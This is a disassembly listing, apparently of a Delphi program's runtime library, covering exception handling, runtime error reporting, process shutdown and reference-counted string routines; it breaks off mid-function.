cmp byte_4001A02C, 0
jbe short loc_4000415C
cmp byte_4001A028, 0
ja short loc_4000415C
lea ecx, [esp+arg_0]
push eax
push ecx
call sub_40001190 ; UnhandledExceptionFilter
cmp eax, 0
pop eax
jz loc_400041FC
mov edx, eax
mov eax, [esp+arg_0]
mov ecx, [eax+0Ch]
jmp short loc_4000418C
; ---------------------------------------------------------------------------
loc_4000415C: ; CODE XREF: sub_400040D8+4Bj
; sub_400040D8+59j ...
mov edx, eax
mov eax, [esp+arg_0]
mov ecx, [eax+0Ch]
loc_40004165: ; CODE XREF: sub_400040D8+1Dj
cmp byte_4001A02C, 1
jbe short loc_4000418C
cmp byte_4001A028, 0
ja short loc_4000418C
push eax
lea eax, [esp+4+arg_0]
push edx
push ecx
push eax
call sub_40001190 ; UnhandledExceptionFilter
cmp eax, 0
pop ecx
pop edx
pop eax
jz short loc_400041FC
loc_4000418C: ; CODE XREF: sub_400040D8+82j
; sub_400040D8+94j ...
or dword ptr [eax+4], 2
push ebx
xor ebx, ebx
push esi
push edi
push ebp
mov ebx, fs:[ebx]
push ebx
push eax
push edx
push ecx
mov edx, [esp+20h+arg_4]
push 0
push eax
push offset loc_400041B0
push edx
call ds:off_4001C018
loc_400041B0: ; DATA XREF: sub_400040D8+CCo
mov edi, [esp+arg_24]
call sub_40006428
push dword ptr [eax+0]
mov [eax+0], esp
mov ebp, [edi+8]
mov ebx, [edi+4]
mov dword ptr [edi+4], offset loc_400041DC
add ebx, 5
call sub_40004040
jmp ebx
; ---------------------------------------------------------------------------
loc_400041DC: ; DATA XREF: sub_400040D8+F3o
jmp sub_400042AC
; ---------------------------------------------------------------------------
call sub_40006428
mov ecx, [eax+0]
mov edx, [ecx]
mov [eax+0], edx
mov eax, [ecx+8]
jmp sub_40003CE8
; ---------------------------------------------------------------------------
loc_400041FC: ; CODE XREF: sub_400040D8+Bj
; sub_400040D8+2Dj ...
mov eax, 1
retn
sub_400040D8 endp
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_40016280
loc_40004204: ; CODE XREF: sub_40003B94:loc_40003C05j
; sub_40003D9C:loc_40003E20j ...
mov eax, [esp-4+arg_0]
test dword ptr [eax+4], 6
jz loc_400042A4
push ebx
xor ebx, ebx
push esi
push edi
push ebp
push ebp
push offset sub_40004284
push dword ptr fs:[ebx]
mov fs:[ebx], esp
mov ebx, fs:[ebx]
mov edx, [eax+18h]
mov ecx, [eax+14h]
push ebx
push eax
push edx
push ecx
mov edi, [esp+28h+arg_4]
call sub_40006428
push dword ptr [eax+0]
mov [eax+0], esp
mov ecx, [edi+4]
mov ebp, [edi+8]
mov dword ptr [edi+4], offset sub_40004284
add ecx, 5
call sub_40004074
call ecx
call sub_40006428
mov ecx, [eax+0]
mov edx, [ecx]
mov [eax+0], edx
add esp, 14h
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
pop ebp
pop edi
pop esi
pop ebx
jmp short loc_400042A4
; END OF FUNCTION CHUNK FOR sub_40016280
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40004284 proc near ; DATA XREF: sub_40016280-12064o
; sub_40016280-12031o
jmp sub_400042AC
sub_40004284 endp
; ---------------------------------------------------------------------------
call sub_40006428
mov ecx, [eax+0]
mov edx, [ecx]
mov [eax+0], edx
mov eax, [ecx+8]
jmp sub_40003CE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40016280
loc_400042A4: ; CODE XREF: sub_40016280-12071j
; sub_40016280-11FFEj
mov eax, 1
retn
; END OF FUNCTION CHUNK FOR sub_40016280
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400042AC proc near ; CODE XREF: sub_400040D8:loc_400041DCj
; sub_40004284j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov edx, [esp+arg_4]
test dword ptr [eax+4], 6
jz short loc_400042DC
mov ecx, [edx+4]
mov dword ptr [edx+4], offset loc_400042DC
push ebx
push esi
push edi
push ebp
mov ebp, [edx+8]
add ecx, 5
call sub_40004074
call ecx
pop ebp
pop edi
pop esi
pop ebx
loc_400042DC: ; CODE XREF: sub_400042AC+Fj
; DATA XREF: sub_400042AC+14o
mov eax, 1
retn
sub_400042AC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400042E4 proc near ; CODE XREF: sub_40007998+19p
; sub_4000B2B0+49j ...
or eax, eax
jnz short loc_400042F2
mov eax, 0D8h
call sub_40004878
; ---------------------------------------------------------------------------
loc_400042F2: ; CODE XREF: sub_400042E4+2j
pop edx
push esp
push ebp
push edi
push esi
push ebx
push eax
push edx
push esp
push 7
push 1
push 0EEDFADEh
push edx
jmp ds:off_4001C014
sub_400042E4 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_4000430C proc near ; CODE XREF: .text:loc_40003F77p
; sub_40003F88+3Ep ...
arg_2C = dword ptr 30h
mov eax, [esp+arg_2C]
mov dword ptr [eax+4], offset loc_40004357
call sub_40006428
mov edx, [eax+0]
mov ecx, [edx]
mov [eax+0], ecx
mov eax, [edx+0Ch]
and dword ptr [eax+4], 0FFFFFFFDh
cmp dword ptr [eax], 0EEDFADEh
jz short loc_40004346
mov eax, [edx+8]
call sub_40003CE8
call sub_40003FE8
loc_40004346: ; CODE XREF: sub_4000430C+2Bj
xor eax, eax
add esp, 14h
mov edx, fs:[eax]
pop ecx
mov edx, [edx]
mov [ecx], edx
pop ebp
pop edi
pop esi
pop ebx
loc_40004357: ; DATA XREF: sub_4000430C+4o
mov eax, 1
retn
sub_4000430C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40004360 proc near ; CODE XREF: sub_40003F88+43p
; sub_40004518+58p ...
arg_2C = dword ptr 30h
call sub_40006428
mov edx, [eax+0]
mov ecx, [edx]
mov [eax+0], ecx
mov eax, [edx+8]
call sub_40003CE8
pop edx
mov esp, [esp-4+arg_2C]
xor eax, eax
pop ecx
mov fs:[eax], ecx
pop eax
pop ebp
call sub_4000409C
jmp edx
sub_40004360 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_40004390: ; CODE XREF: .text:40004490j
; .text:4000449Cj
push ebp
mov ebp, esp
mov edx, [ebp+8]
mov eax, [edx]
cmp eax, 0C0000092h
jg short loc_400043CB
jz short loc_400043FD
cmp eax, 0C000008Eh
jg short loc_400043BD
jz short loc_40004401
sub eax, 0C0000005h
jz short loc_4000440D
sub eax, 87h
jz short loc_400043F5
dec eax
jz short loc_40004409
jmp short loc_4000441D
; ---------------------------------------------------------------------------
loc_400043BD: ; CODE XREF: .text:400043A6j
add eax, 3FFFFF71h
sub eax, 2
jb short loc_400043FD
jz short loc_400043F9
jmp short loc_4000441D
; ---------------------------------------------------------------------------
loc_400043CB: ; CODE XREF: .text:4000439Dj
cmp eax, 0C0000096h
jg short loc_400043E3
jz short loc_40004411
sub eax, 0C0000093h
jz short loc_40004409
dec eax
jz short loc_400043F1
dec eax
jz short loc_40004405
jmp short loc_4000441D
; ---------------------------------------------------------------------------
loc_400043E3: ; CODE XREF: .text:400043D0j
sub eax, 0C00000FDh
jz short loc_40004419
sub eax, 3Dh
jz short loc_40004415
jmp short loc_4000441D
; ---------------------------------------------------------------------------
loc_400043F1: ; CODE XREF: .text:400043DCj
mov al, 0C8h
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_400043F5: ; CODE XREF: .text:400043B6j
mov al, 0C9h
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_400043F9: ; CODE XREF: .text:400043C7j
mov al, 0CDh
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_400043FD: ; CODE XREF: .text:4000439Fj
; .text:400043C5j
mov al, 0CFh
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_40004401: ; CODE XREF: .text:400043A8j
mov al, 0C8h
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_40004405: ; CODE XREF: .text:400043DFj
mov al, 0D7h
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_40004409: ; CODE XREF: .text:400043B9j
; .text:400043D9j
mov al, 0CEh
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_4000440D: ; CODE XREF: .text:400043AFj
mov al, 0D8h
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_40004411: ; CODE XREF: .text:400043D2j
mov al, 0DAh
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_40004415: ; CODE XREF: .text:400043EDj
mov al, 0D9h
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_40004419: ; CODE XREF: .text:400043E8j
mov al, 0CAh
jmp short loc_4000441F
; ---------------------------------------------------------------------------
loc_4000441D: ; CODE XREF: .text:400043BBj
; .text:400043C9j ...
mov al, 0FFh
loc_4000441F: ; CODE XREF: .text:400043F3j
; .text:400043F7j ...
movzx eax, al
mov edx, [edx+0Ch]
call sub_40002CF8
; ---------------------------------------------------------------------------
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
loc_40004430: ; DATA XREF: sub_400044D0+Do
mov eax, [esp+4]
test dword ptr [eax+4], 6
jnz loc_400044CA
cmp byte_4001A028, 0
ja short loc_40004459
lea eax, [esp+4]
push eax
call sub_40001190 ; UnhandledExceptionFilter
cmp eax, 0
jz short loc_400044CA
loc_40004459: ; CODE XREF: .text:40004448j
mov eax, [esp+4]
cld
call sub_40003C58
mov edx, [esp+8]
push 0
push eax
push offset loc_40004476
push edx
call ds:off_4001C018
loc_40004476: ; DATA XREF: .text:4000446Ao
mov ebx, [esp+4]
cmp dword ptr [ebx], 0EEDFADEh
mov edx, [ebx+14h]
mov eax, [ebx+18h]
jz short loc_400044A5
mov edx, ds:off_4001C010
test edx, edx
jz loc_40004390
mov eax, ebx
call edx ; sub_4000B654
test eax, eax
jz loc_40004390
mov edx, [ebx+0Ch]
loc_400044A5: ; CODE XREF: .text:40004486j
call sub_400040B8
mov ecx, ds:off_4001C004
test ecx, ecx
jz short loc_400044B6
call ecx ; sub_4000B71C
loc_400044B6: ; CODE XREF: .text:400044B2j
mov ecx, [esp+4]
mov eax, 0D9h
mov edx, [ecx+14h]
mov [esp], edx
jmp sub_40004878
; ---------------------------------------------------------------------------
loc_400044CA: ; CODE XREF: .text:4000443Bj
; .text:40004457j
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400044D0 proc near ; CODE XREF: sub_400045E4+2Ep
xor edx, edx
lea eax, [ebp-0Ch]
mov ecx, fs:[edx]
mov fs:[edx], eax
mov [eax], ecx
mov dword ptr [eax+4], offset loc_40004430
mov [eax+8], ebp
mov ds:dword_4001E7CC, eax
retn
sub_400044D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400044F0 proc near ; CODE XREF: sub_40004790:loc_4000481Dp
xor edx, edx
mov eax, ds:dword_4001E7CC
test eax, eax
jz short locret_40004517
mov ecx, fs:[edx]
cmp eax, ecx
jnz short loc_4000450A
mov eax, [eax]
mov fs:[edx], eax
retn
; ---------------------------------------------------------------------------
loc_40004508: ; CODE XREF: sub_400044F0+21j
mov ecx, [ecx]
loc_4000450A: ; CODE XREF: sub_400044F0+10j
cmp ecx, 0FFFFFFFFh
jz short locret_40004517
cmp [ecx], eax
jnz short loc_40004508
mov eax, [eax]
mov [ecx], eax
locret_40004517: ; CODE XREF: sub_400044F0+9j
; sub_400044F0+1Dj
retn
sub_400044F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40004518 proc near ; CODE XREF: sub_40004518+4Ep
; sub_4000457C+52p ...
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, ds:off_4001E7D0
test eax, eax
jz short loc_40004575
mov ebx, ds:dword_4001E7D4
mov edi, [eax+4]
xor eax, eax
push ebp
push offset loc_40004561
push dword ptr fs:[eax]
mov fs:[eax], esp
test ebx, ebx
jle short loc_40004557
loc_40004542: ; CODE XREF: sub_40004518+3Dj
dec ebx
mov ds:dword_4001E7D4, ebx
mov esi, [edi+ebx*8+4]
test esi, esi
jz short loc_40004553
call esi
loc_40004553: ; CODE XREF: sub_40004518+37j
test ebx, ebx
jg short loc_40004542
loc_40004557: ; CODE XREF: sub_40004518+28j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_40004575
; ---------------------------------------------------------------------------
loc_40004561: ; DATA XREF: sub_40004518+1Bo
jmp sub_400040D8
; ---------------------------------------------------------------------------
call sub_40004518
call sub_4000430C
call sub_40004360
loc_40004575: ; CODE XREF: sub_40004518+Dj
; sub_40004518+47j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40004518 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000457C proc near ; CODE XREF: sub_400045E4+3Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, ds:off_4001E7D0
test eax, eax
jz short loc_400045DD
mov edi, [eax]
xor ebx, ebx
mov eax, [eax+4]
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_400045C9
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp edi, ebx
jle short loc_400045BF
loc_400045A8: ; CODE XREF: sub_4000457C+41j
mov eax, [ebp+var_4]
mov esi, [eax+ebx*8]
inc ebx
mov ds:dword_4001E7D4, ebx
test esi, esi
jz short loc_400045BB
call esi
loc_400045BB: ; CODE XREF: sub_4000457C+3Bj
cmp edi, ebx
jg short loc_400045A8
loc_400045BF: ; CODE XREF: sub_4000457C+2Aj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_400045DD
; ---------------------------------------------------------------------------
loc_400045C9: ; DATA XREF: sub_4000457C+1Do
jmp sub_400040D8
; ---------------------------------------------------------------------------
call sub_40004518
call sub_4000430C
call sub_40004360
loc_400045DD: ; CODE XREF: sub_4000457C+Ej
; sub_4000457C+4Bj
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4000457C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400045E4 proc near ; CODE XREF: sub_40006474+3Ap
mov ds:off_4001C014, offset sub_40001168
mov ds:off_4001C018, offset sub_40001178
mov ds:off_4001E7D0, eax
xor eax, eax
mov ds:dword_4001E7D4, eax
mov ds:off_4001E7D8, edx
mov eax, [edx+4]
mov ds:dword_4001C030, eax
call sub_400044D0
mov ds:byte_4001C038, 0
call sub_4000457C
retn
sub_400045E4 endp
; =============== S U B R O U T I N E =======================================
sub_40004624 proc near ; CODE XREF: sub_400190AC+1Fp
push ebx
xor ebx, ebx
push edi
push esi
mov edi, [eax+ebx]
lea esi, [eax+ebx+4]
loc_40004630: ; CODE XREF: sub_40004624+1Fj
mov eax, [esi+4]
mov edx, [esi]
mov eax, [eax+ebx]
add edx, ebx
call sub_400062F0
add esi, 8
dec edi
jnz short loc_40004630
pop esi
pop edi
pop ebx
retn
sub_40004624 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000464C proc near ; CODE XREF: sub_400190AC+29p
push ebx
xor ebx, ebx
push edi
push esi
mov edi, [eax+ebx]
lea esi, [eax+ebx+4]
loc_40004658: ; CODE XREF: sub_4000464C+1Ej
mov eax, [esi+4]
mov edx, [esi]
mov eax, [eax+ebx]
add eax, [esi+8]
mov [edx+ebx], eax
add esi, 0Ch
dec edi
jnz short loc_40004658
pop esi
pop edi
pop ebx
retn
sub_4000464C endp
; =============== S U B R O U T I N E =======================================
sub_40004670 proc near ; CODE XREF: sub_40004790+31p
push ebx
push esi
push edi
mov edi, offset aRuntimeErrorAt ; "Runtime error at 00000000"
mov bl, 10h
mov esi, dword_4001A000
loc_40004680: ; CODE XREF: sub_40004670+32j
mov eax, esi
mov ecx, 0Ah
cdq
idiv ecx
add dl, 30h
movzx eax, bl
mov [edi+eax], dl
mov ecx, 0Ah
mov eax, esi
cdq
idiv ecx
mov esi, eax
dec ebx
test esi, esi
jnz short loc_40004680
mov bl, 1Ch
mov esi, dword_4001A004
loc_400046AC: ; CODE XREF: sub_40004670+5Ej
mov eax, esi
and eax, 0Fh
movzx eax, byte_4001A7A0[eax]
movzx edx, bl
mov [edi+edx], al
mov ecx, 10h
mov eax, esi
xor edx, edx
div ecx
mov esi, eax
dec ebx
test esi, esi
jnz short loc_400046AC
pop edi
pop esi
pop ebx
retn
sub_40004670 endp
; =============== S U B R O U T I N E =======================================
sub_400046D4 proc near ; CODE XREF: sub_40004790+A1p
xor eax, eax
xchg eax, dword_4001A000
neg eax
sbb eax, eax
inc eax
mov edi, offset dword_4001E7C8
mov ebx, [edi+18h]
mov ebp, [edi+14h]
push dword ptr [edi+1Ch]
push dword ptr [edi+20h]
mov esi, [edi]
mov ecx, 0Bh
rep movsd
pop edi
pop esi
leave
retn 0Ch
sub_400046D4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004704 proc near ; CODE XREF: sub_40004790+36p
var_4 = byte ptr -4
push ecx
cmp ds:byte_4001C04C, 0
jz short loc_40004765
cmp ds:word_4001C220, 0D7B2h
jnz short loc_4000472D
cmp ds:dword_4001C228, 0
jbe short loc_4000472D
mov eax, offset dword_4001C21C
call ds:dword_4001C238
loc_4000472D: ; CODE XREF: sub_40004704+13j
; sub_40004704+1Cj
push 0
lea eax, [esp+8+var_4]
push eax
push 1Eh
push offset aRuntimeErrorAt ; "Runtime error at 00000000"
push 0FFFFFFF5h
call sub_40001160 ; GetStdHandle
push eax
call sub_40001198 ; WriteFile
push 0
lea eax, [esp+8+var_4]
push eax
push 2
push offset dword_4000478C
push 0FFFFFFF5h
call sub_40001160 ; GetStdHandle
push eax
call sub_40001198 ; WriteFile
pop edx
retn
; ---------------------------------------------------------------------------
loc_40004765: ; CODE XREF: sub_40004704+8j
cmp byte_4001A030, 0
jnz short loc_40004781
push 0
push offset aError ; "Error"
push offset aRuntimeErrorAt ; "Runtime error at 00000000"
push 0
call sub_400011B0 ; MessageBoxA
loc_40004781: ; CODE XREF: sub_40004704+68j
pop edx
retn
sub_40004704 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
dword_4000478C dd 0A0Dh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40004790 proc near ; CODE XREF: sub_4000486C+5p
; .itext:40019ADDp
push ebx
push esi
push edi
push ebp
mov ebx, offset dword_4001E7C8
mov edi, offset dword_4001C048
cmp byte ptr [ebx+28h], 0
jnz short loc_400047B8
cmp dword ptr [edi], 0
jz short loc_400047B8
loc_400047A9: ; CODE XREF: sub_40004790+26j
mov eax, [edi]
mov esi, eax
xor eax, eax
mov [edi], eax
call esi
cmp dword ptr [edi], 0
jnz short loc_400047A9
loc_400047B8: ; CODE XREF: sub_40004790+12j
; sub_40004790+17j
cmp dword_4001A004, 0
jz short loc_400047D2
call sub_40004670
call sub_40004704
xor eax, eax
mov dword_4001A004, eax
loc_400047D2: ; CODE XREF: sub_40004790+2Fj
; sub_40004790+D2j
cmp byte ptr [ebx+28h], 2
jnz short loc_400047E6
cmp dword_4001A000, 0
jnz short loc_400047E6
xor eax, eax
mov [ebx+0Ch], eax
loc_400047E6: ; CODE XREF: sub_40004790+46j
; sub_40004790+4Fj
call sub_40004518
cmp byte ptr [ebx+28h], 1
jbe short loc_400047FA
cmp dword_4001A000, 0
jz short loc_4000481D
loc_400047FA: ; CODE XREF: sub_40004790+5Fj
mov edi, [ebx+10h]
test edi, edi
jz short loc_4000481D
mov eax, edi
call sub_40006194
mov ebp, [ebx+10h]
mov esi, [ebp+10h]
cmp esi, [ebp+4]
jz short loc_4000481D
test esi, esi
jz short loc_4000481D
push esi
call sub_400011C8 ; FreeLibrary
loc_4000481D: ; CODE XREF: sub_40004790+68j
; sub_40004790+6Fj ...
call sub_400044F0
cmp byte ptr [ebx+28h], 1
jnz short loc_4000482B
call dword ptr [ebx+24h]
loc_4000482B: ; CODE XREF: sub_40004790+96j
cmp byte ptr [ebx+28h], 0
jz short loc_40004836
call sub_400046D4
loc_40004836: ; CODE XREF: sub_40004790+9Fj
cmp dword ptr [ebx], 0
jnz short loc_40004855
cmp ds:dword_4001C028, 0
jz short loc_4000484A
call ds:dword_4001C028
loc_4000484A: ; CODE XREF: sub_40004790+B2j
mov eax, dword_4001A000
push eax
call sub_400011A8 ; ExitProcess
loc_40004855: ; CODE XREF: sub_40004790+A9j
mov eax, [ebx]
mov esi, eax
mov edi, ebx
mov ecx, 0Bh
rep movsd
jmp loc_400047D2
sub_40004790 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
pop ebp
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4000486C proc near ; CODE XREF: sub_40002CF8+6p
; sub_40004878+6j ...
mov dword_4001A000, eax
call sub_40004790
sub_4000486C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40004878 proc near ; CODE XREF: sub_400030B4+14j
; sub_400042E4+9p ...
pop dword_4001A004
jmp sub_4000486C
sub_40004878 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40004884 proc near ; CODE XREF: sub_40002FF8+Fp
; sub_40004974+23p ...
mov edx, [eax]
test edx, edx
jz short locret_400048A6
mov dword ptr [eax], 0
mov ecx, [edx-8]
dec ecx
jl short locret_400048A6
lock dec dword ptr [edx-8]
jnz short locret_400048A6
push eax
lea eax, [edx-8]
call sub_40002C3C
pop eax
locret_400048A6: ; CODE XREF: sub_40004884+4j
; sub_40004884+10j ...
retn
sub_40004884 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400048A8 proc near ; CODE XREF: sub_40005314+56p
; sub_40006A2C+7Ap ...
push ebx
push esi
mov ebx, eax
mov esi, edx
loc_400048AE: ; CODE XREF: sub_400048A8+2Aj
mov edx, [ebx]
test edx, edx
jz short loc_400048CE
mov dword ptr [ebx], 0
mov ecx, [edx-8]
dec ecx
jl short loc_400048CE
lock dec dword ptr [edx-8]
jnz short loc_400048CE
lea eax, [edx-8]
call sub_40002C3C
loc_400048CE: ; CODE XREF: sub_400048A8+Aj
; sub_400048A8+16j ...
add ebx, 4
dec esi
jnz short loc_400048AE
pop esi
pop ebx
retn
sub_400048A8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400048D8 proc near ; CODE XREF: sub_40004B50+8j
; sub_40004B94+6j ...
test edx, edx
jz short loc_40004900
mov ecx, [edx-8]
inc ecx
jg short loc_400048FC
push eax
push edx
mov eax, [edx-4]
call sub_40004948
mov edx, eax
pop eax
push edx
mov ecx, [eax-4]
call sub_40002DFC
pop edx
pop eax
jmp short loc_40004900
; ---------------------------------------------------------------------------
loc_400048FC: ; CODE XREF: sub_400048D8+8j
lock inc dword ptr [edx-8]
loc_40004900: ; CODE XREF: sub_400048D8+2j
; sub_400048D8+22j
xchg edx, [eax]
test edx, edx
jz short locret_4000491A
mov ecx, [edx-8]
dec ecx
jl short locret_4000491A
lock dec dword ptr [edx-8]
jnz short locret_4000491A
lea eax, [edx-8]
call sub_40002C3C
locret_4000491A: ; CODE XREF: sub_400048D8+2Cj
; sub_400048D8+32j ...
retn
sub_400048D8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000491C proc near ; CODE XREF: sub_40009414+58p
; sub_40009590+57p ...
test edx, edx
jz short loc_4000492A
mov ecx, [edx-8]
inc ecx
jle short loc_4000492A
lock inc dword ptr [edx-8]
loc_4000492A: ; CODE XREF: sub_4000491C+2j
; sub_4000491C+8j
xchg edx, [eax]
test edx, edx
jz short locret_40004944
mov ecx, [edx-8]
dec ecx
jl short locret_40004944
lock dec dword ptr [edx-8]
jnz short locret_40004944
lea eax, [edx-8]
call sub_40002C3C
locret_40004944: ; CODE XREF: sub_4000491C+12j
; sub_4000491C+18j ...
retn
sub_4000491C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004948 proc near ; CODE XREF: sub_400048D8+Fp
; sub_40004974+Bp ...
test eax, eax
jle short loc_40004970
push eax
add eax, 0Ah
and eax, 0FFFFFFFEh
push eax
call sub_40002C20
pop edx
mov word ptr [edx+eax-2], 0
add eax, 8
pop edx
mov [eax-4], edx
mov dword ptr [eax-8], 1
retn
; ---------------------------------------------------------------------------
loc_40004970: ; CODE XREF: sub_40004948+2j
xor eax, eax
retn
sub_40004948 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004974 proc near ; CODE XREF: sub_40002FF8+2Fp
; sub_400049E0+4Ep ...
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
mov eax, edi
call sub_40004948
mov ecx, edi
mov edi, eax
test esi, esi
jz short loc_40004995
mov edx, eax
mov eax, esi
call sub_40002DFC
loc_40004995: ; CODE XREF: sub_40004974+16j
mov eax, ebx
call sub_40004884
mov [ebx], edi
pop edi
pop esi
pop ebx
retn
sub_40004974 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400049A4 proc near ; CODE XREF: sub_400049E0+3Bp
; sub_400049E0+6Bp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
push edx
push eax
mov eax, [ebp+arg_0]
push eax
push ecx
push 0
mov eax, ds:dword_4001C5BC
push eax
call sub_40001250 ; WideCharToMultiByte
pop ebp
retn 4
sub_400049A4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400049C4 proc near ; CODE XREF: sub_4000506C+3Bp
; sub_4000506C+69p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edx
push eax
mov eax, [ebp+arg_0]
push eax
push ecx
push 0
mov eax, ds:dword_4001C5BC
push eax
call sub_40001230 ; MultiByteToWideChar
pop ebp
retn 4
sub_400049C4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400049E0 proc near ; CODE XREF: sub_40004AAC:loc_40004ADFj
; sub_40004B0C:loc_40004B17j ...
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFF004h
push eax
add esp, 0FFFFFFFCh
mov esi, ecx
mov [esp+1014h+var_1014], edx
mov edi, eax
test esi, esi
jg short loc_40004A02
mov eax, edi
call sub_40004884
jmp short loc_40004A61
; ---------------------------------------------------------------------------
loc_40004A02: ; CODE XREF: sub_400049E0+17j
lea ebp, [esi+1]
cmp ebp, 7FFh
jge short loc_40004A35
push esi
lea eax, [esp+1018h+var_1010]
mov ecx, [esp+1018h+var_1014]
mov edx, 0FFFh
call sub_400049A4
mov ebx, eax
test ebx, ebx
jl short loc_40004A35
lea edx, [esp+1014h+var_1010]
mov eax, edi
mov ecx, ebx
call sub_40004974
jmp short loc_40004A61
; ---------------------------------------------------------------------------
loc_40004A35: ; CODE XREF: sub_400049E0+2Bj
; sub_400049E0+44j
mov ebx, ebp
add ebx, ebx
mov eax, edi
mov edx, ebx
call sub_40004F74
push esi
mov eax, [edi]
mov ecx, [esp+1018h+var_1014]
mov edx, ebx
call sub_400049A4
mov ebx, eax
test ebx, ebx
jge short loc_40004A58
xor ebx, ebx
loc_40004A58: ; CODE XREF: sub_400049E0+74j
mov eax, edi
mov edx, ebx
call sub_40004F74
loc_40004A61: ; CODE XREF: sub_400049E0+20j
; sub_400049E0+53j
add esp, 1004h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_400049E0 endp
; =============== S U B R O U T I N E =======================================
sub_40004A6C proc near ; CODE XREF: sub_4000ABA4+8Fp
; sub_4000ABA4+196p ...
push edx
mov edx, esp
mov ecx, 1
call sub_40004974
pop edx
retn
sub_40004A6C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004A7C proc near ; CODE XREF: sub_400062F0+49p
; sub_40009414+121p ...
xor ecx, ecx
test edx, edx
jz short loc_40004AA3
push edx
loc_40004A83: ; CODE XREF: sub_40004A7C+1Dj
cmp cl, [edx]
jz short loc_40004A9E
cmp cl, [edx+1]
jz short loc_40004A9D
cmp cl, [edx+2]
jz short loc_40004A9C
cmp cl, [edx+3]
jz short loc_40004A9B
add edx, 4
jmp short loc_40004A83
; ---------------------------------------------------------------------------
loc_40004A9B: ; CODE XREF: sub_40004A7C+18j
inc edx
loc_40004A9C: ; CODE XREF: sub_40004A7C+13j
inc edx
loc_40004A9D: ; CODE XREF: sub_40004A7C+Ej
inc edx
loc_40004A9E: ; CODE XREF: sub_40004A7C+9j
mov ecx, edx
pop edx
sub ecx, edx
loc_40004AA3: ; CODE XREF: sub_40004A7C+4j
jmp sub_40004974
sub_40004A7C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004AAC proc near ; CODE XREF: sub_400116DC+3DAp
; DATA XREF: sub_4000843E:loc_40008570o
xor ecx, ecx
test edx, edx
jz short loc_40004ADF
push edx
loc_40004AB3: ; CODE XREF: sub_40004AAC+21j
cmp cx, [edx]
jz short loc_40004AD8
cmp cx, [edx+2]
jz short loc_40004AD5
cmp cx, [edx+4]
